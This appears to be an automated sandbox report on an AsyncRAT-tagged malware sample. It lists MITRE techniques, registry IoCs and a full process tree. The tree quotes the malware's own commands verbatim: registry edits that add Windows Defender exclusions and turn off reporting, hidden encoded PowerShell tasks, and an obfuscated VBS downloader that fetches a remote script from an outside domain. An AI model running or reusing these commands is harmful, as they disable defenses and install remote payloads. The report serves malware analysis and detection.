asyncrat | 76a7490d3f1b0685f60a417d1c9cf96927b473825a914221f092f82ea112b571

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	201.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
30	4440	WScript.exe
34	4440	WScript.exe
36	4440	WScript.exe
40	4440	WScript.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	201.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	201.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Executes dropped EXE 15 IoCs

pid	Process
4828	setup.exe
3924	Install.exe
4608	201.exe
3512	Install.exe
1492	audiodgse.exe
4428	kung.exe
2548	smss.exe
348	ImxyQs.exe
2296	FX_432661.exe
508	newmar.exe
4332	snow.exe
884	toolspub2.exe
4484	d21cbe21e38b385a41a68c5e6dd32f4c.exe
4456	toolspub2.exe
4644	setup.exe

Loads dropped DLL 1 IoCs

pid	Process
4608	201.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x000700000001ab9b-18.dat	themida
behavioral1/files/0x000700000001ab9b-19.dat	themida
behavioral1/memory/4608-51-0x0000000000A10000-0x000000000122C000-memory.dmp	themida
behavioral1/memory/4608-177-0x0000000000A10000-0x000000000122C000-memory.dmp	themida

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2972-557-0x00000000000D0000-0x0000000000F6D000-memory.dmp	upx
behavioral1/files/0x000600000001ac73-1891.dat	upx
behavioral1/files/0x000700000001ac77-2054.dat	upx

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	audiodgse.exe
Key opened	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	audiodgse.exe
Key opened	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	audiodgse.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	201.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
151	api.ipify.org
152	api.ipify.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4608	201.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4608 set thread context of 636	4608	201.exe	107
PID 884 set thread context of 4456	884	toolspub2.exe	118

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6636	sc.exe
6532	sc.exe
6828	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
2668	5080	WerFault.exe	121
4080	5080	WerFault.exe	121
1164	3352	WerFault.exe	151
5128	3536	WerFault.exe	168
5636	5488	WerFault.exe	206
6088	5080	WerFault.exe	121
5264	5080	WerFault.exe	121

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5580	schtasks.exe
6692	schtasks.exe
4960	schtasks.exe
4564	schtasks.exe
3852	schtasks.exe
428	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5280	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3284	ipconfig.exe
5808	ipconfig.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4160	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4608	201.exe
4608	201.exe
4924	powershell.EXE
4924	powershell.EXE
4924	powershell.EXE
4456	toolspub2.exe
4456	toolspub2.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3660	a.exe
Token: SeDebugPrivilege	1492	audiodgse.exe
Token: SeDebugPrivilege	4924	powershell.EXE
Token: SeDebugPrivilege	348	ImxyQs.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3660 wrote to memory of 4828	3660	a.exe	71
PID 3660 wrote to memory of 4828	3660	a.exe	71
PID 3660 wrote to memory of 4828	3660	a.exe	71
PID 4828 wrote to memory of 3924	4828	setup.exe	72
PID 4828 wrote to memory of 3924	4828	setup.exe	72
PID 4828 wrote to memory of 3924	4828	setup.exe	72
PID 3660 wrote to memory of 4608	3660	a.exe	73
PID 3660 wrote to memory of 4608	3660	a.exe	73
PID 3660 wrote to memory of 4608	3660	a.exe	73
PID 3924 wrote to memory of 3512	3924	Install.exe	74
PID 3924 wrote to memory of 3512	3924	Install.exe	74
PID 3924 wrote to memory of 3512	3924	Install.exe	74
PID 3660 wrote to memory of 1492	3660	a.exe	75
PID 3660 wrote to memory of 1492	3660	a.exe	75
PID 3660 wrote to memory of 1492	3660	a.exe	75
PID 3512 wrote to memory of 4996	3512	Install.exe	77
PID 3512 wrote to memory of 4996	3512	Install.exe	77
PID 3512 wrote to memory of 4996	3512	Install.exe	77
PID 3660 wrote to memory of 4428	3660	a.exe	81
PID 3660 wrote to memory of 4428	3660	a.exe	81
PID 3660 wrote to memory of 4428	3660	a.exe	81
PID 3512 wrote to memory of 3100	3512	Install.exe	79
PID 3512 wrote to memory of 3100	3512	Install.exe	79
PID 3512 wrote to memory of 3100	3512	Install.exe	79
PID 4996 wrote to memory of 3096	4996	forfiles.exe	82
PID 4996 wrote to memory of 3096	4996	forfiles.exe	82
PID 4996 wrote to memory of 3096	4996	forfiles.exe	82
PID 3100 wrote to memory of 5076	3100	forfiles.exe	83
PID 3100 wrote to memory of 5076	3100	forfiles.exe	83
PID 3100 wrote to memory of 5076	3100	forfiles.exe	83
PID 3096 wrote to memory of 3784	3096	cmd.exe	84
PID 3096 wrote to memory of 3784	3096	cmd.exe	84
PID 3096 wrote to memory of 3784	3096	cmd.exe	84
PID 3096 wrote to memory of 3352	3096	cmd.exe	85
PID 3096 wrote to memory of 3352	3096	cmd.exe	85
PID 3096 wrote to memory of 3352	3096	cmd.exe	85
PID 5076 wrote to memory of 4080	5076	cmd.exe	86
PID 5076 wrote to memory of 4080	5076	cmd.exe	86
PID 5076 wrote to memory of 4080	5076	cmd.exe	86
PID 5076 wrote to memory of 4444	5076	cmd.exe	87
PID 5076 wrote to memory of 4444	5076	cmd.exe	87
PID 5076 wrote to memory of 4444	5076	cmd.exe	87
PID 3512 wrote to memory of 4960	3512	Install.exe	88
PID 3512 wrote to memory of 4960	3512	Install.exe	88
PID 3512 wrote to memory of 4960	3512	Install.exe	88
PID 3512 wrote to memory of 4812	3512	Install.exe	90
PID 3512 wrote to memory of 4812	3512	Install.exe	90
PID 3512 wrote to memory of 4812	3512	Install.exe	90
PID 3660 wrote to memory of 2548	3660	a.exe	94
PID 3660 wrote to memory of 2548	3660	a.exe	94
PID 3660 wrote to memory of 2548	3660	a.exe	94
PID 3660 wrote to memory of 348	3660	a.exe	95
PID 3660 wrote to memory of 348	3660	a.exe	95
PID 3660 wrote to memory of 348	3660	a.exe	95
PID 4924 wrote to memory of 5028	4924	powershell.EXE	96
PID 4924 wrote to memory of 5028	4924	powershell.EXE	96
PID 3660 wrote to memory of 2296	3660	a.exe	98
PID 3660 wrote to memory of 2296	3660	a.exe	98
PID 3660 wrote to memory of 2296	3660	a.exe	98
PID 2296 wrote to memory of 2148	2296	FX_432661.exe	99
PID 2296 wrote to memory of 2148	2296	FX_432661.exe	99
PID 2296 wrote to memory of 2148	2296	FX_432661.exe	99
PID 2148 wrote to memory of 3024	2148	cmd.exe	101
PID 2148 wrote to memory of 3024	2148	cmd.exe	101

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	audiodgse.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	audiodgse.exe

C:\Users\Admin\AppData\Local\Temp\a.exe
"C:\Users\Admin\AppData\Local\Temp\a.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3660
- C:\Users\Admin\AppData\Local\Temp\a\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\a\setup.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Users\Admin\AppData\Local\Temp\7zSB304.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3924
  - - C:\Users\Admin\AppData\Local\Temp\7zSB882.tmp\Install.exe
      .\Install.exe /VLWdidNem "525403" /S
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Drops file in System32 directory
      Enumerates system info in registry
      Suspicious use of WriteProcessMemory
      PID:3512
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4996
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3096
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        7⤵
        
        PID:3784
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        7⤵
        
        PID:3352
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3100
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5076
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        7⤵
        
        PID:4080
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        7⤵
        
        PID:4444
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gkjVlOvsM" /SC once /ST 03:15:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:4960
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gkjVlOvsM"
        5⤵
        
        PID:4812
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gkjVlOvsM"
        5⤵
        
        PID:3116
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bnldZVLMnupypWpOFn" /SC once /ST 10:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\aBKjXYHBeJcAYhgyx\RrBxUxhHiVwxsZO\llaPFqF.exe\" eM /Lzsite_idTyg 525403 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:4564
- C:\Users\Admin\AppData\Local\Temp\a\201.exe
  "C:\Users\Admin\AppData\Local\Temp\a\201.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:4608
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:636
- C:\Users\Admin\AppData\Local\Temp\a\audiodgse.exe
  "C:\Users\Admin\AppData\Local\Temp\a\audiodgse.exe"
  2⤵
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:1492
- C:\Users\Admin\AppData\Local\Temp\a\kung.exe
  "C:\Users\Admin\AppData\Local\Temp\a\kung.exe"
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Users\Admin\AppData\Local\Temp\a\smss.exe
  "C:\Users\Admin\AppData\Local\Temp\a\smss.exe"
  2⤵
  - Executes dropped EXE
  PID:2548
- - C:\Users\Admin\AppData\Local\Temp\a\smss.exe
    "C:\Users\Admin\AppData\Local\Temp\a\smss.exe"
    3⤵
    PID:5788
- C:\Users\Admin\AppData\Local\Temp\a\ImxyQs.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ImxyQs.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:348
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /release
    3⤵
    PID:4296
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:3284
- - C:\Users\Admin\AppData\Local\Temp\V02z6r.exe
    "C:\Users\Admin\AppData\Local\Temp\V02z6r.exe"
    3⤵
    PID:8
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /renew
    3⤵
    PID:5320
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /renew
      4⤵
      Gathers network information
      PID:5808
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    3⤵
    PID:5448
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    3⤵
    PID:4444
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    3⤵
    PID:5468
- C:\Users\Admin\AppData\Local\Temp\a\FX_432661.exe
  "C:\Users\Admin\AppData\Local\Temp\a\FX_432661.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c echo|set /p=^"sq048=".":r54="i":y8628="g":k4js7=":":GetO^">%Public%\bjk6l9.vbs&echo|set /p=^"bject("sCr"+r54+"pt"+k4js7+"hT"+"Tps"+k4js7+"//m4gx"+sq048+"dns04"+sq048+"com//"+y8628+"1")^">>%Public%\bjk6l9.vbs&cd c:\windows\system32\&cmd /c start %Public%\bjk6l9.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo"
      4⤵
      PID:3024
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" set /p="sq048=".":r54="i":y8628="g":k4js7=":":GetO" 1>C:\Users\Public\bjk6l9.vbs"
      4⤵
      PID:2576
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" set /p="bject("sCr"+r54+"pt"+k4js7+"hT"+"Tps"+k4js7+"//m4gx"+sq048+"dns04"+sq048+"com//"+y8628+"1")" 1>>C:\Users\Public\bjk6l9.vbs"
      4⤵
      PID:2936
  - - \??\c:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Users\Public\bjk6l9.vbs
      4⤵
      Modifies registry class
      PID:192
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\bjk6l9.vbs"
        5⤵
        Blocklisted process makes network request
        
        PID:4440
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo"
      4⤵
      PID:5116
- C:\Users\Admin\AppData\Local\Temp\a\newmar.exe
  "C:\Users\Admin\AppData\Local\Temp\a\newmar.exe"
  2⤵
  - Executes dropped EXE
  PID:508
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:884
  - - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      PID:4456
- - C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe
    "C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
    3⤵
    - Executes dropped EXE
    PID:4484
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:6024
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    - Executes dropped EXE
    PID:4644
  - - C:\Users\Admin\AppData\Local\Temp\7zS848.tmp\Install.exe
      .\Install.exe
      4⤵
      PID:4068
    - - C:\Users\Admin\AppData\Local\Temp\7zSCFB.tmp\Install.exe
        
        .\Install.exe /MKdidA "385119" /S
        5⤵
        
        PID:4516
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:2292
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:3084
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:2420
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:2052
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:4232
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:2576
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:4416
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:2684
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "geBTdHYrH" /SC once /ST 01:54:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:3852
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "geBTdHYrH"
        6⤵
        
        PID:5460
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "geBTdHYrH"
        6⤵
        
        PID:2672
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bwpFiyeZPJPVdaMxTt" /SC once /ST 10:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qfiwemQmHAngVYpEP\nfIxQMeJQCLipql\mCKHjYA.exe\" 3Y /qXsite_idTrF 385119 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:6692
- - C:\Users\Admin\AppData\Local\Temp\kos3.exe
    "C:\Users\Admin\AppData\Local\Temp\kos3.exe"
    3⤵
    PID:760
  - - C:\Users\Admin\AppData\Local\Temp\tuc19.exe
      "C:\Users\Admin\AppData\Local\Temp\tuc19.exe"
      4⤵
      PID:4104
    - - C:\Users\Admin\AppData\Local\Temp\is-511QB.tmp\tuc19.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-511QB.tmp\tuc19.tmp" /SL5="$1A01CE,6161177,54272,C:\Users\Admin\AppData\Local\Temp\tuc19.exe"
        5⤵
        
        PID:3156
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Delete /F /TN "W1025-1"
        6⤵
        
        PID:4100
      - C:\Program Files (x86)\DVD Tools\wDVDTools.exe
        
        "C:\Program Files (x86)\DVD Tools\wDVDTools.exe" -i
        6⤵
        
        PID:4884
      - C:\Program Files (x86)\DVD Tools\wDVDTools.exe
        
        "C:\Program Files (x86)\DVD Tools\wDVDTools.exe" -s
        6⤵
        
        PID:2108
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Query
        6⤵
        
        PID:4196
  - - C:\Users\Admin\AppData\Local\Temp\kos.exe
      "C:\Users\Admin\AppData\Local\Temp\kos.exe"
      4⤵
      PID:3120
- - C:\Users\Admin\AppData\Local\Temp\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
    3⤵
    PID:788
- C:\Users\Admin\AppData\Local\Temp\a\snow.exe
  "C:\Users\Admin\AppData\Local\Temp\a\snow.exe"
  2⤵
  - Executes dropped EXE
  PID:4332
- - C:\Users\Admin\AppData\Local\Temp\a\snow.exe
    "C:\Users\Admin\AppData\Local\Temp\a\snow.exe"
    3⤵
    PID:5548
- C:\Users\Admin\AppData\Local\Temp\a\2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\2.exe"
  2⤵
  PID:5080
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 1084
    3⤵
    - Program crash
    PID:2668
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 1240
    3⤵
    - Program crash
    PID:4080
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 1236
    3⤵
    - Program crash
    PID:6088
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 1012
    3⤵
    - Program crash
    PID:5264
- C:\Users\Admin\AppData\Local\Temp\a\nalo.exe
  "C:\Users\Admin\AppData\Local\Temp\a\nalo.exe"
  2⤵
  PID:2936
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:2824
- C:\Users\Admin\AppData\Local\Temp\a\foto2552.exe
  "C:\Users\Admin\AppData\Local\Temp\a\foto2552.exe"
  2⤵
  PID:5092
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EH5vo5OE.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EH5vo5OE.exe
    3⤵
    PID:2716
- C:\Users\Admin\AppData\Local\Temp\a\sus.exe
  "C:\Users\Admin\AppData\Local\Temp\a\sus.exe"
  2⤵
  PID:216
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:4808
- C:\Users\Admin\AppData\Local\Temp\a\texaszx.exe
  "C:\Users\Admin\AppData\Local\Temp\a\texaszx.exe"
  2⤵
  PID:4832
- - C:\Users\Admin\AppData\Local\Temp\a\texaszx.exe
    "C:\Users\Admin\AppData\Local\Temp\a\texaszx.exe"
    3⤵
    PID:1116
- - C:\Users\Admin\AppData\Local\Temp\a\texaszx.exe
    "C:\Users\Admin\AppData\Local\Temp\a\texaszx.exe"
    3⤵
    PID:5912
- C:\Users\Admin\AppData\Local\Temp\a\cbchr.exe
  "C:\Users\Admin\AppData\Local\Temp\a\cbchr.exe"
  2⤵
  PID:1484
- - C:\Windows\SysWOW64\cmd.exe
